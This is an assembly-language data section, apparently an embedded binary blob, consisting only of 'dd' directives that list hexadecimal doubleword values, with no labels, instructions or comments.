dd 3A520299h, 588B0488h, 9880EF0Fh, 0BB6B4BBFh, 71F8FF00h
dd 8FAEEC4Ah, 6CD90045h, 0F52248FEh, 332A82EDh, 508AB013h
dd 0BA139066h, 342028FCh, 4B8DC53Eh, 890C4964h, 4B1994ACh
dd 2D009498h, 88D74A73h, 0B8547Fh, 2407A1F2h, 7AB358C6h
dd 0FFC2FB00h, 96F33225h, 6AE51F50h, 19313C1h, 0BCD4CF9Ch
dd 0C605C0C3h, 7CE68500h, 0E99DDBCEh, 0E890A968h, 0F096868h
dd 58C0CFC8h, 0B902D474h, 65916A78h, 0A38460D1h, 4ECD3F5Ch
dd 0FC735C7Ch, 0BF3C8094h, 8FAF1F89h, 0A5E3E805h, 0B14C3098h
dd 0D441E407h, 62003FEFh, 218DBD3h, 81E038A5h, 0D4A0C658h
dd 51D060AAh, 6C00D873h, 76B13C43h, 9A08B40Dh, 86D709F0h
dd 1020BB1Bh, 0B6D2676Ah, 0C6C2C900h, 6D53D98Eh, 0A9360F8Fh
dd 640103Bh, 9FDD27AEh, 1C60EB4Ah, 0C0ADE673h, 7C5F2049h
dd 762C5DB0h, 0EC029897h, 8413D5F2h, 1880BFF0h, 0BCA6EE3h
dd 10B0C9BBh, 0EEFA380h, 2A030830h, 7E43895Fh, 4122D099h
dd 939E00C2h, 0C0BB2DDFh, 0B80085B1h, 0CE47844Ah, 1434DBB4h
dd 9B41ACCBh, 0AC83500h, 0D0C57B26h, 97691107h, 547029AFh
dd 125844Ch, 6D05995Dh, 0EC1803FFh, 3B000B9Bh, 26095C1Ch
dd 1C5B44FAh, 402A5663h, 78A55E3Eh, 3373C861h, 385813Ch
dd 0D454B082h, 4FB9B879h, 0E9F100B6h, 0CC095F43h, 0CE3FA13Dh
dd 105D30AFh, 1EE797h, 2EE60DE2h, 66484A62h, 0AB841800h
dd 898356D6h, 6F3B00B3h, 0DFCFC152h, 9703704Bh, 548A77FFh
dd 0D25EB825h, 0C19000C8h, 5F2E4A6Dh, 311F733Ah, 1E0163CFh
dd 2D89AEB4h, 0CC72C0h, 56D5A7B2h, 30ED95DBh, 0E7659907h
dd 0A231BC21h, 7BFC800Ah, 3566001Ch, 70DE7711h, 0F2093F71h
dd 854D0304h, 24C099EFh, 63C7FBh, 0E7CFF716h, 0F0039087h
dd 0F6758105h, 0C0AB41E2h, 13DE5604h, 11933B12h, 6500B4A8h
dd 6CC80152h, 0E500A6C3h, 0A9CC493Ah, 7B3F7431h, 12DF01D5h
dd 63507A20h, 95D30ACh, 0CD41B40Bh, 5CB980C4h, 4EE9EAh
dd 0F05995B2h, 0BFE073AEh, 7C77F148h, 56D3C00h, 34C66E44h
dd 521C008Dh, 26AFBE47h, 4E01EDEEh, 93028A2Ch, 0F30E216h
dd 8E59000Eh, 0B647DEFBh, 0C300626Eh, 73AB23E3h, 3353648h
dd 0CE0C4FCBh, 0AC90F3D7h, 2E0EE7E5h, 1F8C478Eh, 0F2DAD870h
dd 917C004Dh, 0A4AAF7C9h, 0E503AE43h, 30F0FB1Ah, 0A08003B2h
dd 8DEA8B03h, 0E0E78CF0h, 2DAF400h, 0C365A444h, 0F6B20014h
dd 38B13B70h, 850CA11Ah, 70E8BF5Fh, 625D0164h, 9030EBE7h
dd 4DA1810Dh, 5A82113Ch, 60BB04CCh, 0D9394964h, 3818452Eh
dd 0F581168Fh, 9D85000Ah, 6C531EBDh, 20F27B0h, 2019A439h
dd 2F9C7BCFh, 4250006Dh, 0A2581A6Ah, 97EA4DECh, 41D9B403h
dd 7BC07E06h, 60A50759h, 307BD7AAh, 96C183F4h, 0B170CD31h
dd 1FDC1AB4h, 5ED90077h, 40736BF6h, 2000E1Eh, 0BD231516h
dd 987590h, 1CD94165h, 2B7EB00Fh, 7D97BA03h, 0B156CCh
dd 0F36906B8h, 0A232DD63h, 6C57B207h, 0DB65EB59h, 889C9800h
dd 307C6E0Ch, 24983901h, 307A4FEAh, 0AF0A82FDh, 45E01657h
dd 0ABA48048h, 0EA69AF2Ah, 83974C00h, 5F6780D3h, 2D5A01BDh
dd 616F6A8Eh, 93988A8Dh, 5884BC10h, 48C00F7Ch, 12C51CEh
dd 80FBA4D8h, 50014E09h, 0C9C1EFC8h, 0F4771C0Fh, 0F154C06Bh
dd 486F34C2h, 41293C5Eh, 64D105E8h, 0E9D84D8h, 0A1D8A7DCh
dd 170DF7FFh, 0AEDF2E7Eh, 20F059B0h, 7707E705h, 0B04406CBh
dd 86C7F370h, 83710074h, 7C6F5795h, 0CF3945A4h, 0FD4F17A7h
dd 0D550A500h, 14E1E9h, 6181BA51h, 41EA3BF3h, 0FF014716h
dd 0B2EF0Fh, 650AEE25h, 0FE680544h, 40A47197h, 3BB1CEECh
dd 8300585Ch, 0E4C8FB50h, 16201B5Eh, 1F66DDh, 68E63ECFh
dd 3B03165Bh, 0F075A799h, 0D0FF8810h, 27170D5h, 42BEEE30h
dd 8F8123C8h, 34E71ACBh, 3A007538h, 0D91B7D65h, 7FB5957h
dd 0C90F1FEAh, 537210BBh, 0F71E7C61h, 0D341227Ah, 0A11E2DAh
dd 0EC8FC20h, 0CC04CEA9h, 9B517E5h, 0B820F3A8h, 54DBD1D3h
dd 0A271CF05h, 64805B05h, 913A92B3h, 0C3BF4F0Ch, 0D5FA2C89h
dd 0BF6FD201h, 64E1B9ABh, 3366D892h, 9391E6D8h, 224BDCEEh
dd 0E08EB429h, 0C300802Ch, 0EF157838h, 9D101D53h, 192F4364h
dd 0E7A0969Fh, 9401938Eh, 6DF64F65h, 74308CEEh, 849807h
dd 0F185B61Dh, 0E4D83D22h, 8F43580Ch, 0BE5E84Dh, 40DAA14Eh
dd 8CFE4080h, 53002213h, 2378C32Fh, 0BC02A80h, 0F0CCDF70h
dd 0BDD95380h, 0E426527Eh, 12805C05h, 13E1C52Dh, 9FB42E23h
dd 58B90DCBh, 0CDFED8E0h, 0E0864893h, 24A10B7Ch, 27F5DFh
dd 9AEB068h, 0D0001825h, 2B346C7Fh, 3671961h, 84947CF9h
dd 500063C9h, 8C3178D0h, 59488Fh, 0B39E567Bh, 928BEE9Ah
dd 3C532078h, 0C6437838h, 0F408ED14h, 89AD9300h, 0DA3D3649h
dd 0F85119CCh, 1D67A96h, 0AE150FE9h, 0D025AC1Ch, 0A8497185h
dd 141A0060h, 346BF93Ah, 11620009h, 597237B3h, 210FA294h
dd 41E1B04Fh, 0B8D78FDEh, 0A0D0A4DFh, 99FCA946h, 984C4FE8h
dd 6B094811h, 20B587F8h, 1B5D3144h, 0E06CB0DFh, 46F0ABFh
dd 70C05336h, 0F105E210h, 0AAE5D801h, 77DC44Fh, 4A001770h
dd 0B8282B0Dh, 0CA270300h, 2A2080EBh, 0E738F5C0h, 0EE315F00h
dd 51D1A21Eh, 5D4803DDh, 0AC453C17h, 0A8F233F0h, 7EE6DF09h
dd 50FC0806h, 0D600EC24h, 0E843AEB2h, 294B2CFh, 0CE88A649h
dd 8C471546h, 736940Eh, 23FEC3A5h, 98FD821Ah, 7C4910Dh
dd 0B90F31E4h, 4B7E60D1h, 5C608486h, 0AE579068h, 2D8A0950h
dd 301064D2h, 0BC016AD4h, 0EA420166h, 0C5D44C02h, 1F1400B5h
dd 0FC13AE63h, 80C110CFh, 50437A81h, 59B032h, 80C7F661h
dd 26B85533h, 0A714E808h, 890C7CAAh, 2681800Ah, 731E329h
dd 9871E8DBh, 0C08F55B4h, 0EBA34618h, 79E2140Ah, 803DAC6Eh
dd 0DC1AC9FFh, 48294912h, 180424CAh, 9017419Bh, 5390203Ch
dd 8A583EE6h, 2AC6A0BCh, 42ED007Ch, 3F8906F8h, 0BF2AF34Eh
dd 0AA53884Dh, 9C167DC4h, 0F700D013h, 999FD317h, 93C70FC6h
dd 4780A153h, 85E1DA89h, 609D781Ch, 0F7B1D883h, 365D9854h
dd 64485CB0h, 99D62F00h, 22DF9E68h, 4FC6811Dh, 2B339F07h
dd 4A5FB2F0h, 663C3214h, 0A4C8B468h, 9040DEA5h, 0DD0A007Ah
dd 860E40B6h, 54303FA1h, 3C0BF816h, 383A00E8h, 0D7628AF4h
dd 7B51E4C0h, 7A5040B8h, 9900BCC1h, 8E2BE960h, 7FA0D6h
dd 0E4B27906h, 8CF5121Ch, 83BAED00h, 4FD16620h, 0EA7C0078h
dd 6A840F44h, 0A50134D3h, 74F350E8h, 7C62F0D6h, 0C018A169h
dd 0FA2EABD1h, 0F8801447h, 8AC63BFCh, 0A45A48A4h, 0BC227700h
dd 0A0F19361h, 0BE31ED0Bh, 801812D8h, 787C4C04h, 0DE760034h
dd 0FCC96B70h, 4F26374Eh, 3A8018F3h, 7ED6F4A2h, 3BA0000Bh
dd 0E5879CD9h, 0A47A7D72h, 0F4991D2Ah, 17CE913Bh, 480E9D55h
dd 184321DAh, 0DCCC64BEh, 39283B3Eh, 8CCA3C80h, 7ED24BFAh
dd 6A938C0h, 0C73EC727h, 10560CE8h, 6E6A490Eh, 586CC948h
dd 0C670E788h, 2EB8F4B9h, 0C8C99Dh, 0B318FBB4h, 500EDB2h
dd 9C2C3D70h, 85411Fh, 5BC73CEEh, 765DD20Eh, 903AA892h
dd 693530ABh, 6CE7E4h
dd 3C3E264Bh, 62400DD4h, 1878BB5Ch, 9369B62Fh, 3078B81Eh
dd 0FD918EB2h, 0CE017C62h, 17AE6678h, 44F8C9DDh, 0D7910BC0h
dd 78A0E7A0h, 0EEE26140h, 64D4B912h, 98223C35h, 4D12200Ah
dd 0E0902F41h, 7C970CB1h, 48468023h, 60B04C30h, 0CD622BA3h
dd 0DC8CDEB0h, 140800B3h, 0F3D7FC89h, 3261E899h, 0F61009DBh
dd 59399FD6h, 65298FEFh, 105E600Bh, 966F02B0h, 0E6CB002Ch
dd 6220B652h, 81582772h, 9C070078h, 1FF748FCh, 1389ECAEh
dd 0C45D8E3h, 8790BA12h, 0B36D011Fh, 0AC219303h, 0C5B82E11h
dd 98390B9Ah, 0A4075018h, 50E4021Dh, 0F0FBCBh, 791D2120h
dd 12B90008h, 0E2C09AC1h, 36008E95h, 49133FAFh, 166ADAD4h
dd 12348A22h, 81283299h, 0DADDF980h, 4C0A5623h, 0A874551Dh
dd 7901386Ah, 0B01CF213h, 0F3811073h, 9CC94ED3h, 0D281B2C8h
dd 0E91FEF1Ah, 5EB4B080h, 236B6D45h, 50E82F53h, 61060A14h
dd 127D79FDh, 92370150h, 2D018ACAh, 2B99DCB9h, 5DC09C5Dh
dd 0F7320BDCh, 0EE880552h, 30853C68h, 60597A31h, 0CD00D7A6h
dd 0DEAE3C08h, 39D8BB20h, 89801978h, 3F3DBA33h, 6395699h
dd 0C6A594A4h, 4F9600A0h, 5BBADD58h, 0C10051Fh, 0C2256075h
dd 49C03197h, 6009F36h, 7FF18016h, 0E7B14Ch, 8D855DE5h
dd 0BAE142CCh, 9B5A2300h, 36157BF3h, 0C29200EEh, 3EF51B19h
dd 8B005CE3h, 2FE57FB7h, 30B42Ch, 6136A7AAh, 995AAB3Bh
dd 6B40CF07h, 0CA9023BBh, 133C57ACh, 0D1FE88h, 6994F926h
dd 0B507145Dh, 0D47D9993h, 83C19B64h, 67E8F18Ch, 33D70002h
dd 2D763B04h, 6007EE6Bh, 72435F07h, 5DA93761h, 0D3AC740h
dd 90E238E9h, 0CD1C4080h, 3D9C0593h, 6DE7B000h, 3B31A3D7h
dd 86832859h, 390EA9Ch, 112A0A9h, 47C8EBEFh, 523E021Ch
dd 0C8FF80B9h, 0FAD48BBBh, 0F89360A8h, 0A57832DBh, 79D0370Ah
dd 7D602889h, 1C37044h, 20FEEF72h, 444313BCh, 2FA001CEh
dd 0F4EDC82Bh, 0A80ECAF1h, 809D29DAh, 0AFA6FD8Dh, 0F8966EDCh
dd 5AD662A7h, 3DF900D4h, 258506D5h, 73C83F60h, 0EACA992Bh
dd 0B40330C7h, 0F63AEB99h, 0A9CF4D00h, 0B76579C3h, 0DAC40F9Dh
dd 0AEC1C8D5h, 8045DF7Fh, 0FFE43170h, 175ED29h, 1B25DEC2h
dd 80CD3D76h, 875F9F81h, 22DF8E1h, 0A9E9C9FDh, 0D8E0456Fh
dd 0D0A6DD98h, 0AAF063Ah, 808405DBh, 0C6BC1702h, 784480CEh
dd 39B4268h, 3C83DEF1h, 0E6E88280h, 9776646Dh, 2DDA9A00h
dd 7C2F77DBh, 5DBE0057h, 0A4094116h, 0C829F8DEh, 1780E002h
dd 586B5B44h, 1A8200BDh, 0D8FE2333h, 3B006AE3h, 900DDB14h
dd 5DFD2ADh, 0FD6D7020h, 4F2AC087h, 5A008E94h, 145B6C83h
dd 0D5E18Fh, 682E9F25h, 0E6BAE324h, 0D90A1000h, 944B4987h
dd 0D8EF0797h, 0F0BF3EAEh, 29FA34A4h, 75745606h, 18B1B9h
dd 126DB509h, 5866F9A7h, 0A3AC20h, 0CCDD3136h, 51A0508Ah
dd 0D19BD306h, 884EB6h, 87A80E3Bh, 0FC7A3289h, 0B5C27C18h
dd 2F7138h, 4D9D2ED3h, 0A8F53767h, 0D998DE00h, 2595B511h
dd 4A8A035h, 0BF3F3964h, 18260CF5h, 0CA40AC0Fh, 0FC866E00h
dd 0AAD839BCh, 848F16E5h, 0EE210049h, 0B2CDBE3Bh, 0F63F0901h
dd 2B81334h, 0C0974860h, 0EC961A60h, 2200EA98h, 0EB8E3DE6h
dd 35B86Fh, 0A609DA26h, 0B21DFE33h, 0D611DF00h, 9A080D6Ah
dd 6D500018h, 3509BD77h, 1D98E32Eh, 0B37B800h, 0D4E7E907h
dd 0CCFE9Eh, 0B72AE82Ch, 169AC02Fh, 1C211000h, 8A25B982h
dd 3B8500C1h, 0DAC8018h, 5907D5B7h, 5458ED75h, 782645E1h
dd 526BECh, 79781C9h, 25F406A7h, 50333900h, 15378CBFh
dd 0B60102C6h, 0D719835Eh, 0A84E4075h, 1F717F6Ah, 0C0498DB1h
dd 327C55BCh, 1600F628h, 0C3BFB91Dh, 0E1C50EBh, 0E68A0715h
dd 575A0243h, 4005CDA8h, 800B4B3Ah, 718ED9BBh, 0B183DAFh
dd 48A0EF21h, 9166460Eh, 9E004052h, 0C923D408h, 5123FC3h
dd 0DD34950h, 0DAB40094h, 88A74DD9h, 0CCCA8E09h, 87AC0060h
dd 3FA4B76h, 0DFFFF919h, 0E7908C01h, 6401B7D5h, 84792981h
dd 0E4502C28h, 28C960E9h, 0E18F53h, 0E16E08Eh, 39F0EF4Fh
dd 57FAD602h, 0A06297C2h, 3AE4F920h, 0C1213B52h, 2F389B0Ah
dd 9C00DA28h, 0BD433852h, 0B4C0D50Fh, 0B66DE021h, 3C3517AFh
dd 5080D7C1h, 0DE415C90h, 8B0066F7h, 593DA3A4h, 7A646385h
dd 582F3C15h, 80319B07h, 30BC72B6h, 2D522840h, 98A71428h
dd 0B89F9824h, 0CAF4E0A8h, 6DCB7019h, 1EF4AC80h, 8F8B014Dh
dd 26D35324h, 2B57FCC4h, 0F020C600h, 0D4F643Fh, 5C0C0738h
dd 3063AABDh, 2EEB44E2h, 9AD3F21Eh, 8B0C70A8h, 7143E908h
dd 3DA90CBDh, 0BCF110FBh, 0DD8DE509h, 2E440064h, 3B357BBh
dd 5DCA410Bh, 988C3B28h, 0A11E56BCh, 34829045h, 80692F80h
dd 0DA510EF4h, 9D783ABCh, 0F8B7EF0Eh, 9AF909A0h, 0DB01F076h
dd 2383BE7Dh, 4C465E47h, 0DCE480E0h, 13F100F6h, 0C541B7C9h
dd 35EC069Dh, 1F49D000h, 0CDCB0757h, 0E89CA00Dh, 93480076h
dd 0C0EC9C9Ah, 4A787896h, 914C1F00h, 0AF2D9CAh, 1CD40050h
dd 298A7233h, 0F0F82B1Bh, 0F712C00Eh, 0FC6F0342h, 0A09ADC50h
dd 4A6E7003h, 56987ED4h, 730664E8h, 869768DDh, 789188h
dd 49C0BF4Eh, 333AEDADh, 1E0780CAh, 0A372EBBCh, 0FA673A4Fh
dd 0EE01F740h, 954EF381h, 942017D9h, 14D60045h, 748769B4h
dd 0EF48BC19h, 0DF2F00BCh, 79C6695h, 0B6551885h, 0A0B53896h
dd 528D3412h, 0B3B06443h, 358580AAh, 0F22DF43Dh, 0F8B6017Bh
dd 66E1954Dh, 0B9D6DC77h, 571D9E18h, 4D4597F1h, 9C0484F6h
dd 90DDF8BAh, 5AD49DB8h, 0AB15F100h, 27B0F98Ah, 0D889497Ah
dd 0FAC63E01h, 0D890BF51h, 4002EAE6h, 8A8141B6h, 247043A5h
dd 9706C60h, 40212FF2h, 0FC9D9350h, 3A1F8118h, 0CF40C511h
dd 0FD1C88D9h, 0E9040008h, 0E712706Dh, 0B749D6E4h, 55C0634h
dd 60BD45h, 0D352DEC8h, 0FC422153h, 98F48EE8h, 0E300CEEAh
dd 0B1D130B7h, 0D47C58h, 713486C3h, 0C9EC59A4h, 0B039C81Ch
dd 0B8A1DA03h, 6840BFAAh, 7E23F8h, 0EF494A9Fh, 0E820EE31h
dd 3095D11Dh, 3AC70AC0h, 7FF810B9h, 691073Dh, 80409A74h
dd 4ED38FE9h, 0FE479B18h, 71273581h, 0C04D1C42h, 280F0086h
dd 605DC169h, 0E0AD39h, 0DE653936h, 2491CF54h, 3DAB7358h
dd 0BF0E8E80h, 14B75160h, 8B00A376h, 5035C111h, 0FF15F21h
dd 3359F71Eh, 5DB8AC40h, 0B97A2D7Eh, 80464C3Fh, 9742371Dh
dd 7D7A2AB3h, 614A002Ch, 853E6B4Fh, 280169D9h, 13019D96h
dd 0B081FD5Ah, 0F5A230ECh, 4A4A80F6h, 0A69554B4h, 0F8580094h
dd 6343118h, 3014EBFBh, 0A170DA5Bh, 208080B6h, 574E52AFh
dd 0B02374h, 4AB4800h, 65BD4470h, 72692689h, 0F7D70075h
dd 0D453D636h, 34649D28h, 0EDC67300h, 0FDBAF1DEh, 76532202h
dd 0ACFA52E6h, 836B5503h, 41ECC5CFh, 0E000A091h, 4D8E32h
dd 0D5535A39h, 0FE59CB52h, 0F16F2000h, 90412A3Eh, 0E71490F5h
dd 40A904Bh, 24B4A0h, 0D7A1A32Bh, 0C93B4ABEh, 8851AB87h
dd 0DCEBA830h, 19A1011Ch, 82E47E24h, 3B419493h, 0C2C60C98h
dd 6BF845h, 27B7220Dh, 0DF52E535h, 4CD80702h, 94C563ADh
dd 91FF09A8h, 5000E46Bh, 0B108ADF5h, 2D6F23Ah, 422FC9B6h
dd 0A6C8B005h, 154A0767h, 409927B9h, 227F0840h, 9860BB00h
dd 0FAAC120Eh, 0B6D003EDh, 0E8C04AB8h, 5B01A8E8h, 65406600h
dd 0FC859690h, 7310000Bh
dd 467FC39Bh, 8F0008BBh, 4A9E2707h, 28B32F0Fh, 16C5D201h
dd 0AE722A0Eh, 6D070512h, 0CDF0AD46h, 569CD3h, 47F52E9Bh
dd 0C059C993h, 9EB50500h, 0EF16973Bh, 0C71B007Dh, 0F504914h
dd 1900F8DBh, 0C2002AFh, 0A0403A95h, 856C84h, 7781D0A8h
dd 9FD67E3Ch, 8E76522Ch, 2F929400h, 9988C70h, 7D73044h
dd 0FEAAC800h, 0C5FE8861h, 0D6320D00h, 7EDBD24Bh, 0CFA9012Ah
dd 50EFB04h, 0A48247Ch, 0E5619D00h, 39F4B9D1h, 7063038Bh
dd 3AEF6D5Ah, 30CEC0E9h, 0A530BC18h, 497C99CAh, 0E7B228DAh
dd 88E403D0h, 0E9A944CFh, 0C5D829D8h, 423BED00h, 1CE3713h
dd 0F987004Ah, 973A9E48h, 8973E1F5h, 68B53800h, 0C0CCF35Bh
dd 74F80C3Dh, 6F70D015h, 0E29A6E0Eh, 0B08CE0DFh, 244AAA79h
dd 81D0E3ABh, 0BA8D383Bh, 0CC8EE09Bh, 8BA83700h, 5C9ED039h
dd 0F17D0668h, 70E5DE02h, 272F0E00h, 5BE4784Ch, 8F5611AEh
dd 2637163Ah, 0BD8A5800h, 0A808FB45h, 0B8168Ch, 3E476474h
dd 0E5CF5EEAh, 35C995Ch, 0A048F7FFh, 0ABEC802Ch, 0EFA10067h
dd 93178744h, 9405CD0Ch, 0AAF596C5h, 446C5822h, 867400F4h
dd 0A3AC1EE5h, 4709045Fh, 80508E65h, 0FCB022C5h, 41BC06FBh
dd 91F898A5h, 0A62ADB09h, 8CC820A4h, 60077D1Ch, 0C206E96Ch
dd 3C00C498h, 90322A7Fh, 0AFFF14h, 3E6891A1h, 7DB5F5DDh
dd 209D13Dh, 23A8C8E2h, 0DA060CEh, 7C7B38C4h, 0C1D85524h
dd 46EFEC4Dh, 77CE8A8h, 964D46F2h, 81D4811Ch, 420CBFAh
dd 0C5EC4Ch, 0C3ECA591h, 6F2537F8h, 876480h, 0D2CA2251h
dd 0B97F446Eh, 39F21930h, 0B19C3Bh, 0C980A987h, 56E7702Ah
dd 0D5819A1Eh, 0B50FCD03h, 0B125F08Dh, 1FD1006Ch, 4CB68710h
dd 3000B927h, 6A2AACFEh, 0FC2BC07h, 0FAABF388h, 1CF58662h
dd 0F4054C60h, 2CF4903h, 12325AF9h, 796479h, 0C1F5D370h
dd 0D000991Ah, 188C0AA2h, 780BF3h, 2408F88Ah, 0C174E34Dh
dd 0E8E5AB2Ah, 0A766EB09h, 68820E4h, 49828D87h, 59016CDCh
dd 73EEC874h, 4331803Eh, 0A7577D52h, 1F609B75h, 97944003h
dd 0DEAA010Dh, 184DF00Ch, 3B59C1h, 9933D3Eh, 45E0D905h
dd 0F8B9CD01h, 7FC51F52h, 19C120h, 38DD62A7h, 9645C3C9h
dd 0ABCCA52h, 8C543D13h, 905AB813h, 1BE04908h, 0A28E2822h
dd 9BF00073h, 0D2FB3601h, 18607101h, 0EA2EB229h, 2E8F830h
dd 1D883FDDh, 20E90594h, 6B20C045h, 0B3019CFAh, 47B08B48h
dd 74C8784Ah, 3380082h, 0AE8A5EB7h, 451E726Fh, 0E0128E4Eh
dd 0E99A1180h, 1D9F00F8h, 0EBDE6F0Eh, 8A07A8D3h, 99D0F51h
dd 2C28B4C6h, 2474E156h, 0FB074214h, 0F80584Fh, 0F995862Eh
dd 4C60598Ch, 49B00AC0h, 0D8A4962Bh, 0D27C0EFh, 54A2102h
dd 1251C0BBh, 3607B468h, 50939002h, 0E0FDD76Eh, 9BB690h
dd 0B457181Fh, 66353E9Dh, 96908B72h, 0D07E609Ah, 28BE963Eh
dd 28995071h, 0FEA30887h, 0CE78B7C0h, 0B4855080h, 63A800E7h
dd 0B2070F68h, 0BC906F09h, 87698305h, 9490408Ah, 0FCA6BE15h
dd 4EDC13AFh, 0E930265Dh, 0AC01B8D3h, 9BCF9278h, 922994E8h
dd 9A681648h, 348D004Dh, 0A3E56F43h, 6D00349Ah, 0C11BA19Dh
dd 0A56A68h, 7F844C67h, 0EC3103F0h, 0D5717803h, 0F7075681h
dd 9CD1A9C0h, 74243F90h, 0C0F05CF9h, 725F3880h, 300536D2h
dd 0E6E89831h, 76928800h, 85BE63h, 0C72F4511h, 0B596E02Ch
dd 0C110F300h, 4AF1E66Ah, 0F4F50364h, 35F80B14h, 831D2A8h
dd 6B724h, 0A94B1100h, 9C6520Dh, 0CDC593F3h, 6634A480h
dd 834F23Eh, 0E48010CCh, 0A89740A0h, 15872FF4h, 0EC770268h
dd 0E45AC60Bh, 9AA72080h, 0C0281DFBh, 4CB80CE2h, 0C943C938h
dd 0FD0D0034h, 0CB20FB81h, 0C6A50051h, 273D5499h, 290160CFh
dd 0E90730F4h, 68204468h, 0FA4D25F8h, 54499880h, 3B007323h
dd 6B8F3D92h, 14F640A4h, 34719B7Ah, 0C6CF47DFh, 0C2AD6158h
dd 24807B61h, 948F121Ch, 9C82074h, 0AB995905h, 0BD100820h
dd 46EC2CA7h, 702880B1h, 0E9CC5C09h, 14482762h, 2F049560h
dd 0A0EE5C66h, 4F1EF8C1h, 0B6F741F2h, 23B0CC6Dh, 0C1048B16h
dd 0EB7DAC00h, 3F3436h, 802E715Ch, 0BB532521h, 383DF428h
dd 7020BC24h, 96F32E60h, 0CB8913FEh, 7440204Bh, 3C60B3C0h
dd 7CC5EE91h, 1CE890CEh, 92730541h, 88544038h, 6A18EF4h
dd 0DD432901h, 20E4FD3Ah, 3FD00570h, 0E4550EDBh, 2C481023h
dd 0C307D44Ch, 60E24C9Bh, 0DDD31296h, 2ADC3Ch, 755CFAF2h
dd 4C2ED1E6h, 582C1772h, 0C9A5E06Ch, 177D0BF6h, 0C005090h
dd 0EF4963C2h, 0CFBB202h, 0DA1B64B5h, 0B826C551h, 0BA002CADh
dd 3FF0C230h, 34A5597Bh, 0AFB73700h, 469FD4CDh, 97D80F09h
dd 34A810C7h, 0BE1F013Ah, 4BF7200Bh, 38AC72DBh, 642D005Ah
dd 0F9C9A7DCh, 0FDA01E69h, 49F1001Ah, 479A11BBh, 0B4364E0Ah
dd 0EA00D0D1h, 81ADD683h, 82A20003h, 0DDBECAB7h, 5E16665Fh
dd 802909E6h, 58D6B2C8h, 0DD068587h, 0C88F3BC7h, 14B17275h
dd 326F705h, 13A6A488h, 9E5839h, 0AD8519C4h, 0E200A7F2h
dd 0C33AAFE9h, 0BA01696h, 239F09C1h, 0C4CEA103h, 80D4CDE4h
dd 2F302838h, 3977C6E8h, 1277CF73h, 0CD4617D4h, 0A5A44354h
dd 88C839AAh, 0E70C5813h, 105FFBDAh, 836C16E5h, 14781630h
dd 0EF0F38B0h, 1529239Ah, 28538877h, 24089625h, 14A415BDh
dd 0AE009CADh, 0C9EB22D4h, 2EEE6EC8h, 151EC2F4h, 2FC48AA9h
dd 14C4DD5Ah, 1C51FCCCh, 40B42460h, 9FB69523h, 1C73F134h
dd 756DEB00h, 14A23879h, 0FA49801h, 6A1D0E63h, 6188FEC0h
dd 440071E0h, 41F05682h, 489C7DB7h, 1C80B4D1h, 4C6C3BB4h
dd 0ECDCF218h, 5CC39181h, 120E987Fh, 9649E189h, 9DC02868h
dd 889454A4h, 0F886190Ah, 5E5D2083h, 0D892A504h, 6F6CE059h
dd 60B6069Ch, 0D92C73E1h, 0FB29E21Eh, 5464C397h, 1F04848Eh
dd 82664E52h, 0E84A7DA2h, 8CE1EC00h, 0DC0298EDh, 0D0395727h
dd 0ECE88096h, 3DE46CABh, 70AE497Bh, 4FD11FE0h, 6421162Bh
dd 6557B211h, 0F942064h, 0FCE89600h, 5A743F31h, 1A01000Ah
dd 0BDE02DF3h, 0BF4B654Ah, 45A2C000h, 2E5AB6B0h, 3F2420E9h
dd 6AD318F0h, 72B8E946h, 405F8824h, 1A206240h, 27E0CC3h
dd 0F470599Eh, 5175A800h, 0BF522156h, 0E54100E8h, 72667E5Fh
dd 29009F18h, 1EAFB6DBh, 0CD082Ah, 8C49C1D9h, 0FED07A78h
dd 0B933BC03h, 89A41626h, 0D434F244h, 5A2E4CCh, 79467148h
dd 0D48C07B9h, 5092570Fh, 0C98F104h, 2B8AB0Ch, 0E12EB817h
dd 0DA1F2463h, 0F9A580AFh, 0FE0783E0h, 542D422Ch, 5FEEAE00h
dd 0ED8B0A1h, 60301DADh, 514C0C60h, 6117AB1Eh, 3C10D208h
dd 104D28h, 6603DB11h, 5C281618h, 0AA3E3C38h, 2D817CBAh
dd 7705C1BDh, 9998576Dh, 8B3E4CE8h, 563D9609h, 452C10E4h
dd 0C9210053h, 5238F598h, 7C60E50Ah, 0BBEB2E21h, 0CB70CA6h
dd 0E678F0ADh, 5741BC00h, 0ED2C569Eh, 0AB8F16A0h, 0C3BC3034h
dd 6D39BD86h, 7002ACC0h, 0E4847F92h, 1EBC8B0h, 62E304FAh
dd 3D51FC87h, 8888D338h, 6A02049Fh, 0F634D068h, 43A854A0h
dd 1964BE1Eh, 8AA55280h, 2C24EC94h, 2E8CCE57h, 0C3EB671Ch
dd 2904960h, 745C19E5h, 0F469003Dh, 893B4B6Fh, 9E5D1D2Ch
dd 0AA325E3Dh, 9E44A6BCh, 484AF250h, 94669029h, 308F520Fh
dd 4D6442F2h, 88ACA047h, 0BA1E7A17h, 48F848DCh, 11A3FB09h
dd 8B1D1800h, 644A907Bh
dd 40FB2832h, 96A333Fh, 9E5F2CFAh, 0B214A848h, 78266C32h
dd 0F14CC0Eh, 1AAA2B9Dh, 5BE1DA80h, 0BE003CA3h, 0C1525655h
dd 0DF11A9h, 20DD5EA5h, 0C6D807E8h, 9FF0B100h, 0E26B196Fh
dd 9448C1CDh, 73037173h, 5332C000h, 0A22E1C4Bh, 2B40D788h
dd 15FE33FEh, 0B1F3A604h, 90C1AFF1h, 8C40DA5Ch, 0E1CFB5h
dd 8650E3F4h, 21B8BB34h, 54D7E600h, 81C0B087h, 2D6D01B3h
dd 70A529B7h, 73198019h, 82B612C4h, 20095DA3h, 849B2400h
dd 0C1E2DCE5h, 0C096B229h, 20A4E70Bh, 2AA71138h, 0FD6D0FDBh
dd 86E0E346h, 6547AA82h, 53D4D3Ah, 9B47919h, 2E0EC040h
dd 55A9F2h, 0F5990AB3h, 22973461h, 382F9826h, 0C3CF2D00h
dd 5D127F6h, 0C27FF1E7h, 0E5848776h, 0F56C8431h, 6D8210Ch
dd 2FF018ECh, 0FC5C130Ah, 5404AC03h, 43831EB1h, 72A2C0AEh
dd 0EE6E0457h, 0A00DA895h, 8179BF4h, 3410B4CFh, 0C849A0h
dd 0C266DED3h, 5502DAFh, 27A0A3AEh, 885C040Fh, 72809854h
dd 93302DE9h, 498D8892h, 0B428965Ch, 8021CEC4h, 0F0ABEE40h
dd 0ECBAB372h, 80D82858h, 0EF996F3h, 817C05FDh, 0C58655FAh
dd 0C520B3A4h, 8C8070CAh, 757A8093h, 6B6D00B3h, 5CDCAE5Eh
dd 49B86A0Eh, 0BD972B00h, 94092D07h, 1E6CB295h, 9F8243B7h
dd 788980A7h, 57C6A633h, 0C4CF0A24h, 4090D88Fh, 0DA07C3E3h
